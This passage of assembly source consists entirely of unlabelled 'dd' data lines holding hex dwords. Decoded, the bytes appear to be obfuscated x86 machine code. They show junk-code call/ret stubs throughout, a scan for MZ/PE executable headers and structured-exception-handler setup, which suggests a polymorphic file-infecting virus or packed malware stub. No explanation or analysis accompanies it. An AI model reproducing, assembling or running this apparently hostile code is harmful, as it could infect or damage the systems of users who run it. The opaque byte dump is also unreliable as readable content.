24448104h, 1804h, 0C3514100h dd 0AC69E27Eh, 5C083FFh, 1BC1B58Bh, 8166064Dh, 50AE97DEh dd 0A09682BFh, 24048954h, 5FF08B56h, 0B509006Ah, 64D1595h dd 0BD8B006Ah, 64D23A9h, 114995FFh, 9D8D064Dh, 6509A13h dd 0E2816660h, 0E860154Ah, 8, 0DDB4EC57h, 0A0668F43h, 810F5Ah dd 61000000h, 6AD3FF61h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0D35CC355h, 7EF4BFB7h dd 85FF06A0h, 64D1815h, 0FE8h, 0B33A1100h, 0D2E5F8C9h dd 45AFA4E4h, 679661B1h, 5FF18B66h, 770E9h, 0E800h, 815D0000h dd 511110EDh, 4CE78106h, 817EC8C0h, 4D29E1BDh, 7D006h dd 0D860F00h, 0F000001h, 180h, 9D8BF900h, 64D2495h, 3265BD8Bh dd 0E381064Dh, 100h, 850FDB0Bh, 0A8h, 6E8h, 0B05E9A00h dd 8BB6E4D4h, 4D060DBDh, 0BD835E06h, 6510F27h, 30840F00h dd 81000000h, 0B8499AD7h, 559D296Dh, 0E9064D30h, 0AAh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 90C35343h dd 0C7F8BA2Bh, 510F2785h, 106h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0B25E8C46h dd 7D447F7Bh, 0E9FFB70Fh, 56h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0EC35141h, 0B9958B60h, 61064D0Ch dd 0F2785C7h, 651h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 0B9C1F7C3h, 4476B120h dd 1779B589h, 9D8D064Dh, 64D2495h, 0FEFF2381h, 8589FFFFh dd 64D15FDh, 57DB8C66h, 11E9h, 31FC8C00h, 8B33CAA9h, 0FFB35070h dd 0C146E21Dh, 0F65EDA7Ah, 840F04C3h, 30h, 102D95FFh, 0BE66064Dh dd 575025EAh, 14E8h, 30159600h, 84030BD3h, 0D03165C8h dd 0F25D34FDh, 0F0035780h, 5EFB8B2Ah, 2404895Fh, 3782BE66h dd 3A4E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 76BE66FEh, 5952957h, 66064D04h, 74E4EF81h dd 0BF0F00B0h, 6A70E6F0h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 4CAFC353h, 0E5FDB3AEh dd 9589E1C5h, 64D0C11h, 0BD8B71E4h, 64D0C21h, 6AD8B60Fh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 746FC356h, 96FED67Eh, 6880Fh, 9D090000h dd 64D3049h, 6BAh, 0C6816600h, 0C38B0F0Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 6EC35646h, 0C1D972D5h dd 8B0F04E8h, 8, 558D8956h, 5E064D22h, 8BE2F766h, 4D26D5BDh dd 81D82B06h, 4667BEE7h, 81852916h, 93064D27h, 2820F60h dd 0B6000000h, 40BA66D1h, 60506104h, 28C0Fh, 61600000h dd 6A9361h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0FF1F4FC3h, 4D29E1B5h, 6820F06h, 29000000h dd 4D17798Dh, 1195FF06h, 0E9064D05h, 0Fh, 1B2CBE45h, 11729D8Ch dd 54E1DD72h, 0B040F795h, 0D8B0F00h, 60000000h, 0F087F2B9h dd 6985892Eh, 61064D23h, 71BD29h, 70E6064Dh, 88F0Fh, 89500000h dd 4D23599Dh, 71E45F06h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0FCC35747h, 2026B4BFh, 1169BD8Bh, 0F681064Dh dd 6A8E249Eh, 830F613Ch, 1F9h, 11F78166h, 0D8B60F73h, 6BAh dd 0FE900h, 0B8870000h, 10981B28h, 0CB52CC0h, 34A1E425h dd 6AC38BA1h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 6269C357h, 0DC13018Bh, 0DE8150FAh dd 476CA197h, 4E8C15Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 75C35545h, 0A1B72BCBh, 2A35B529h, 0F766064Dh dd 50006AE2h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0D82B814Fh, 0AE8h, 55A33000h, 0D896F804h dd 666D1FDDh, 585EFE8Bh, 21EDBD8Bh, 0D82B064Dh, 13F880Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 444E10C3h, 0CE8D6692h, 0DBEBDF81h, 7B93B7Ah dd 83000000h, 0EE8100C1h, 1772E6BCh, 860FD93Bh, 101h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0FC35040h, 4D4E0BD0h dd 0B589B68Eh, 64D200Dh, 81C18B60h, 0A0E516DEh, 8C66612Fh dd 0A9B589D9h, 0F6064D1Fh, 840F04C1h, 95h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0C7C35545h, 6830FA8h dd 89000000h, 4D32B5BDh, 2D95FF06h, 0BE064D10h, 48AA49D4h dd 52006A5Bh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 1B964DC6h, 0C32BF88Bh, 94DFBE66h, 0CE8h dd 0EC6F7D00h, 7D97FBECh, 0E25FC4AFh, 10E980h, 36040000h dd 2BA051A9h, 0AA82826Ah, 6FE0DD6Bh, 3D5FA8A9h, 834h, 7860Fh dd 0F98B0000h, 28E9h, 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 7E6C352h, 293869B6h dd 4D0E699Dh, 8BC38B06h, 51006AD8h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 54B1EE95h, 32659D89h dd 85C7064Dh, 64D2485h, 125C8FFBh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 80C35343h, 0C6CC9D0Eh dd 856F6C4Ah, 0DE85Ah, 2E720000h, 0F4BC92CAh, 0A60DB904h dd 8158949Dh, 3AA3CFF6h, 0B58B5F17h, 64D03E5h, 5E9C08Bh dd 61000000h, 260D3987h, 29E1BD81h, 7D0064Dh, 850F0000h dd 2Ch, 85FF5E57h, 64D29E1h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 8CC35040h, 0B58B6790h, 64D1025h dd 29E1B5FFh, 6A064Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0BD8BDAC3h, 64D2E25h, 51195FFh dd 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 26691C3h, 66B3A9D8h, 237DB589h, 6A90064Dh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 7A5AC355h, 0B0F6E785h, 59AE92BCh, 49950160h dd 80064D00h, 0F61FAD1h, 1983h, 0F8BF0F00h, 11E9h, 0C1E76600h dd 4795E409h, 1C2337C4h, 0A86B1790h, 8A0F9EC6h, 19h, 14E9h dd 62CA9E00h, 150069AEh, 0C96785FAh, 92FC9744h, 7BBD70EEh dd 61B533B0h, 0BE064D0Ch, 40F05037h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0EBC35040h, 51E7B61Dh, 0C14FC3B6h dd 91B5BF66h, 16860Fh, 89600000h, 4D037D95h, 89616006h dd 4D186DBDh, 0BD8B6106h, 64D0D19h, 22AD9D89h, 6A064Dh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 590623C3h, 0F9B52B02h, 6A064D0Fh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 0E998C350h dd 0FFFFF8B5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 4AC35343h, 885D1A2Fh, 8B03CB2Dh, 0FC18BF7h, 586h dd 6AAEBF00h, 4EB3204h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 71C35040h dd 395FA191h, 66F85FF5h, 0FF5F78Bh, 686h, 5D9D8900h, 8D064D1Ch dd 4D073585h, 9B18BE06h, 0BF904730h, 243989h, 0C4BBE50h dd 8B903DB7h, 8B006AFAh, 4D23D5B5h, 89006A06h, 4D0D09B5h dd 0B1858D06h, 83065119h, 0B58B05C0h, 64D25FDh, 24048950h dd 0FE9h, 0EDCAAB00h, 0C3E5CB4Fh, 353B0884h, 9E835E7Fh dd 3830Fh, 0B70F0000h, 6A006AF7h, 61952900h, 0FC064D0Dh dd 114995FFh, 6A064Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 12DFD6C3h, 89A6B170h, 199D89BDh dd 8D064D11h, 509A139Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0DB354FD7h, 0B0EDA56Dh dd 0B9F6814Dh, 0FF6F26C0h, 51006AD3h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0A7D3CC78h dd 0BDD6AF5Fh, 1585FF71h, 0E9064D18h, 895h, 0E8h, 0ED815D00h dd 65119BBh, 328EBF66h, 29E1BD81h, 7D0064Dh, 860F0000h dd 113h, 0A9D78166h, 0D19D8BB9h, 6A064D17h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0DFC8C353h dd 0B78CF5D4h, 29958F48h, 4D119585h, 0E38106h, 8B000001h dd 4D2115BDh, 0FDB0B06h, 7885h, 85295000h, 64D1141h, 8ABD835Fh dd 65118h, 2F840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0AC91C2C3h, 0D99BD03h dd 72E9064Dh, 8B000000h, 4D2D45BDh, 8A85C706h, 1065118h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 3FC4C356h, 0B58B8F7Eh, 64D2579h dd 38E9h, 8A85C700h, 65118h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 6FAC350h dd 955A0682h, 1830F9Dh, 0F9000000h, 47F8EBBEh, 0D19D8D42h dd 2B064D17h, 4D2565B5h, 0A9B52906h, 81064D2Ch, 0FFFEFF23h dd 66F98BFFh, 6ADB8Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 680066C3h, 15B84A2Ah, 0F6816622h dd 0C3F61D66h, 67840F04h, 29000000h, 4D21ED8Dh, 2D95FF06h dd 6A064D10h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 7E1C352h, 0FD61DCBh, 688h, 119D8900h dd 81064D30h, 88EBD7EFh, 0BE665079h, 489AE27h, 52006A24h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 11304330h, 90E9D920h, 6A000004h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 8FD5C355h dd 0B0BD58h, 6A70E6h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0A7E10EC3h, 6330858Dh, 0BF0F57BCh dd 6671E4F9h, 38910BEh, 4D1811BDh, 0D8B60F06h, 75B58B53h dd 5F064D00h, 6BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 267497ECh, 6AC38B60h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 1BA5C351h, 382D0F67h, 8D893DFCh, 64D2139h dd 687EBF66h, 6A04E8C1h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0E9DCC357h, 5, 7177F341h dd 0DF8166BAh, 0F7661FE5h, 52006AE2h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0C0308C60h dd 38AC60Ch, 2BFE8B66h, 0F18B66D8h, 50F28B66h, 8ADBBE66h dd 6A241C89h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0A75EC351h, 8B66A1A0h, 8D8B60F9h dd 64D0FE5h, 0E78161FCh, 471A7483h, 29E1B5FFh, 30BE064Dh dd 0FF45A425h, 4D051195h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0C1BD8B78h dd 0F064D17h, 138Bh, 0EE900h, 74850000h, 56B805DCh, 0DF142CB1h dd 669025C0h, 6A00B0h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0C3028C3h, 31BC0CD6h, 4D17E995h dd 0E470E606h, 51006A71h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 2231E7D6h, 0FAE2495Ch dd 14E8172Ch, 31000000h, 0DF109D4Ah, 0E29F95ACh, 0EEE5FC40h dd 0F468AA81h, 0F00A0C0h, 68Bh, 79B58B00h, 5E064D30h, 8DB52960h dd 0E9064D15h, 0Fh, 0AE810AB5h, 7E32E9CEh, 0BABE2B04h dd 61E165B8h, 0DE9h, 47F13800h, 0DB537F20h, 0F2EE04D3h dd 613CA873h, 249830Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 1316E3C3h, 0B2C4A46Bh dd 10E9h, 28681E00h, 0B88BDB6Bh, 0CC4CB56Ch, 0C17817E7h dd 0D8B60FB4h, 3289BD23h, 6BA064Dh, 8B000000h, 4D1FEDBDh dd 0FC38B06h, 8Ah, 4E8C100h, 0C5B58Bh, 0F766064Dh, 52006AE2h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 76C34F55h, 2BAADE96h, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 7C9AFF3Ah, 7FB40654h dd 810F3787h, 6, 13019D89h, 8D89064Dh, 64D3121h, 5E9h dd 1BD96F00h, 6A58667Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 66CCC352h, 6660F08Bh dd 61F9DCB9h, 880FD82Bh, 157h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 10C35040h, 0E41A509h, 3E97668Ch dd 0D9BD8B3Fh, 29064D26h, 4D2B9DBDh, 21BD0306h, 0B9064D11h dd 7, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh dd 0A3C35646h, 9F1E6884h, 334DE5F5h, 0EE974h, 92030000h dd 5073BA1Bh, 498DC33Ch, 38F06F1h, 6A00C183h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 5200C353h, 0F9891A43h, 0EDB58B31h, 8B064D0Fh, 4D1C59B5h dd 0FD93B06h, 0AA86h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 66B2584Eh, 6AD98Ch, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 35BEACC3h, 16E98A84h, 0F04C1F6h, 3E84h, 1ABF6600h, 2D95FFD2h dd 0F9064D10h, 39B5895Bh, 2B064D03h, 31BD8BC3h, 3D064D03h dd 834h, 19860Fh, 95890000h, 64D28F9h, 2EE9h, 8B606000h dd 0C68B66DAh, 7C0EBB61h, 8B614B22h, 51006AC0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 8B1547CCh dd 6AD88BC3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 667EC351h, 9585C7A1h, 95064D24h dd 6A56A123h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 8B22C357h, 57006AC0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0A0DF3467h dd 2B390CE9h, 4D31C1B5h, 0E1BD8106h dd 0D0064D29h, 0F000007h, 4785h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0FCEB4EC1h dd 29E185FFh, 6A064Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 741B74C3h, 0E16E639Ah, 29E1B5FFh dd 6A064Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0A154DDC3h, 87342F44h, 1195FFD2h, 8B064D05h dd 6A90F9F1h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0EB85C355h, 0B29D4C14h, 13E938h dd 3B8A0000h, 664787CFh, 3EDA0068h, 282C2584h, 163AF23Fh dd 6E9E4h, 0FA500000h, 0B5399FB2h, 972DEE81h, 6A7CC9h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 0D13B24C3h, 0BEF46EECh, 0E843FE4Dh, 0Bh, 95D677D2h dd 532B0781h, 5F2890C7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0EEC35545h, 0F08B844Ah, 571BD8Bh, 0E3BE064Dh dd 8B2A2B78h, 4D0FADB5h, 0E7816606h, 816061E1h, 0EC2A52CBh dd 66FE8B31h, 6192F3B9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0E3C35141h, 75EF81EFh, 6A5B9EBFh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0E278C351h, 89C5FDD3h, 0F304A12h, 128Fh, 0C8B0F00h dd 29000000h, 4D137185h, 95B58B06h, 89064D0Eh, 4D2339B5h dd 0F772E906h, 33F9FFFFh, 4D14B9B5h, 6A6006h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 40A427C3h dd 0D9059FAEh, 19C36F1h, 4D182DBDh, 21DE8006h, 0FFFEB9F8h dd 958BFFFFh, 64D1ABDh, 3098D21h, 0B58B064Dh, 64D225Dh dd 2DE98D21h, 0BAB0064Dh, 3098D8Bh, 6A064Dh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 84A024C3h dd 8D29EF17h, 64D2029h, 8E9h, 0F68F5300h, 820ABC88h, 6E8E2h dd 65530000h, 7CD7852Ah, 5BF0BF0Fh, 0F01E183h, 2D85h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 63E8D690h, 31858B50h, 5B064D2Bh, 17659D29h, 8D8B064Dh dd 64D2DE9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0DAC35545h, 20738A96h, 316021EBh, 4D2B85B5h, 0AE95706h dd 87000000h, 2CF88AEDh, 0C323AC8Dh, 836159EAh, 850F01E1h dd 24h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h dd 12C35040h, 0E27DD0B1h, 5BF78A57h, 9D316061h, 64D1501h dd 26F1958Bh, 0FEB9064Dh, 66FFFFFFh, 214FCAB8h, 4D17D18Dh dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0FE98Fh, 0F6DF0000h, 0D3560A58h, 3B590111h dd 108712B4h, 3D8D21B9h, 80064D0Ch, 8D8B0EE8h, 64D17D1h dd 0E183C28Bh, 22850F01h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 89BFC351h dd 4D2F459Dh, 3D8D8B06h, 0F064D0Ch, 958BD3BFh, 64D2B65h dd 0F01E183h, 2885h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 661A4416h, 89B2E8BAh dd 4D2B4595h, 6A606106h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 0B014C356h, 8D0F4D8Ah dd 6, 3C1B589h, 12E8064Dh, 0A3000000h, 69F57B20h, 809DFABDh dd 0E9C14708h, 69EE1D53h, 0CD950140h, 5E064D22h, 0FFFFFEB9h dd 51006AFFh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0FA7FB11Bh, 2110CB80h, 4D32818Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0CD08D6F0h, 8D2102C9h, 64D2485h, 93D7BB66h, 32818D8Bh dd 6A064Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 51E01FC3h, 5840FF5h, 0BA000000h, 4F7A5BABh dd 0F01E183h, 685h, 1DBD3300h, 8B064D20h, 4D24858Dh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 80B471A9h, 8BF0AAF9h, 4D30259Dh, 1E18306h, 2E850Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0BD3A63C3h, 2256FB4Dh, 6890Fh, 85890000h dd 64D268Dh, 66606061h, 89F9B6B8h, 4D315D8Dh, 0FEB96106h dd 60FFFFFFh, 0EE8h, 397B6400h, 20717DD9h, 583DD979h, 8038B3FBh dd 0F55FE7F6h, 958D2161h, 66064D24h, 5DA1CA81h, 27358D21h dd 6A064Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 9D87C5C3h, 201C93CBh, 66CDE2FAh, 50F6EE81h dd 24958D8Bh, 6A064Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0D41F8EC3h, 7803F681h, 0E1834572h dd 0C850F01h, 89000000h, 4D2FA9BDh, 0A19D8B06h, 8B064D1Fh dd 4D27358Dh, 0C8C0F06h, 0F000000h, 68Ah, 658D0900h, 83064D22h dd 850F01E1h, 22h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 0CAC35747h, 366CE3AAh, 60614421h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0DDC35646h, 85C70E2Dh dd 64D29E1h, 7D0h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0BCC35141h, 85E2820Ah, 1245BD8Bh, 8D29064Dh dd 64D1AA1h, 55006A61h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 8A29703Ah, 6E91Ch, 1DE40000h, 20060809h dd 9DE98166h, 6107EB14h, 0E99Dh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 89D5CAC3h dd 4D0ECD85h, 0E59D2B06h, 6A064D30h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 930BC355h dd 62BA485Ch, 0D42B8AFEh, 431546BEh, 0AC06BB0Dh, 0C18B6407h dd 0E0000BAh, 0EA81F0h, 83F00000h, 958914C2h, 64D21C9h dd 8D14EA83h, 51281085h, 0FF645006h, 35h, 25896400h, 0 dd 0E8h, 0C22B5800h, 0FFF00025h, 388166FFh, 850F5A4Dh dd 12h, 3C50B70Fh, 3A81D003h, 4550h, 0A840Fh, 2D0000h dd 0E9000010h, 0FFFFFFD9h, 8589C88Bh, 64D2A11h, 0F3C4003h dd 890650B7h, 4D321595h, 50508B06h, 32419589h, 0F805064Dh dd 8B000000h, 0D1030C50h, 2F319589h, 5003064Dh, 45958908h dd 64064D30h, 58Fh, 0C4830000h, 13E904h, 8B510000h, 8110244Ch dd 0B0A9h, 100000h, 0C0335900h, 0A5BD83C3h, 64D21h, 24840Fh dd 85C60000h, 64D26E5h, 0A7D26847h, 0B5FFD49Ah, 64D0B29h dd 75D7858Dh, 0D0FF0650h, 0D0FF006Ah, 2FD58589h, 0D38B064Dh dd 0AE8h, 0A3D62D00h, 54EDC163h, 5B371131h, 880Fh, 0C3810000h dd 69BEh, 68FA8Bh, 66000000h, 8B58F98Bh, 0F98B0314h, 4398F281h dd 800F268Ch, 4, 0FE35B966h, 0A4A5C281h, 9E90466h, 0A4000000h dd 0D1F4377Fh, 30BD0F77h, 222AF281h, 89F8367Ah, 13E90314h dd 8B000000h, 0B83A18Dh, 0B30DF4D3h, 0E4DCE8Ah, 216A6840h dd 0E8830F30h, 2BBF6602h, 60484857h, 0FF9A3FBEh, 0F8816113h dd 0FFFF96D4h, 0FF99850Fh, 6E8FFFFh, 0C1000000h, 0F7D39C13h dd 605FF99Eh, 0B10AC781h, 0C08B5DD5h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 0BFC35343h, 786099FDh, 0F918E010h dd 1BD9BD83h, 7500064Dh, 11BD8309h, 64D00h, 53501974h dd 38B8C08Bh, 89000004h, 4D257585h, 159D8D06h, 0FF064FB7h dd 83585BD3h, 4D0011BDh, 17740006h, 38B85350h, 89000004h dd 4D257585h, 49D8D06h, 0FF064FB4h, 8B585BD3h, 55006AF9h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0AF9D83B3h, 0E9DBF164h, 8D8950E5h, 64D2739h, 6AC08B59h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0FCEC351h, 128Ch, 0C8D0F00h, 0E9000000h dd 7, 0B206AABFh, 0E85DC1B3h, 848h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 29C35141h, 0E7368A6Bh, 89D3E0D1h dd 4D317185h, 0FE96006h, 0B4000000h, 6C5C5793h, 37FF4D79h dd 0FE1A8674h, 0BD89E3F2h, 64D2CB1h, 7FEE861h, 14E90000h dd 9F000000h, 80F755ACh, 7BB00BE2h, 8CE2B3E5h, 0FBD3603Ah dd 894171ACh, 4D279585h, 218D8B06h, 0E8064D03h, 7D4h, 1FE58589h dd 6A064Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 2D04A8C3h, 1417730Fh, 89B58BD8h, 3064D25h dd 4D1FF5BDh, 79AE806h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 1B2736C3h, 8591E781h dd 85892BE3h, 64D25F9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0DDC35040h, 0E87EB0E8h, 74Ch, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 7FC35747h, 32298589h dd 0B966064Dh, 21E89FAEh, 6A000007h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 7C4CC357h dd 77032C06h, 0B8519181h, 3259BD8Bh, 8589064Dh, 64D2705h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0A2C35242h dd 649DB663h, 0EE8EFh, 0C2D30000h, 6C6E34F8h, 0E72E9913h dd 79EC8A99h, 25A5B58Bh, 0E85E064Dh, 6B0h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0CC35646h, 85891B1Eh dd 64D2585h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0AAC35747h, 0F3387A2Fh, 667E8h, 45BD8B00h, 89064D03h dd 4D0F3D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 0F3C99C71h, 35E8EA8Ah, 31000006h dd 4D000DB5h, 8D858906h, 6A064D2Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 7676C356h dd 9EB158E3h, 10E9h, 11A03700h, 217341B0h, 0D63D77DFh dd 0DF7182F3h, 5EEE847h, 850F0000h, 0Fh, 0AE9h, 8BAAE00h dd 14823C81h, 89258845h, 4D2B0585h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 6A873CF4h dd 14E906h, 86D70000h, 9C3E22CBh, 0DA7FD12Ch, 0FF05FD93h dd 7FFE51BFh, 0C181E6E1h, 6609F240h, 58FE8h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 422E3A5Ah, 2D8589h, 6A064Dh, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0AA6880C3h, 8B930519h dd 542E8F0h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 9F5524C3h, 198589A2h, 6A064D2Dh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 0C08DC350h, 0B4B61883h, 0E8CF15AFh, 4F4h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7EC35040h dd 0BABE2B04h, 99BE65B8h, 8979A326h, 4D161185h, 3BEF8106h dd 0E87A3D55h, 4BCh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 0CFC35242h, 0D676039Dh, 7E946h, 0C78A0000h dd 9D10EB21h, 2985896Eh, 89064D03h, 4D075585h, 918D8B06h dd 0E8064D1Fh, 478h, 68B0Fh, 9D310000h, 64D2349h, 2695BD8Bh dd 8589064Dh, 64D227Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 0CC35242h, 0B5205D42h, 578F9A98h, 5E8h dd 67336600h, 0E95EE057h, 0Ah, 0F15CEA5Ch, 474AC343h, 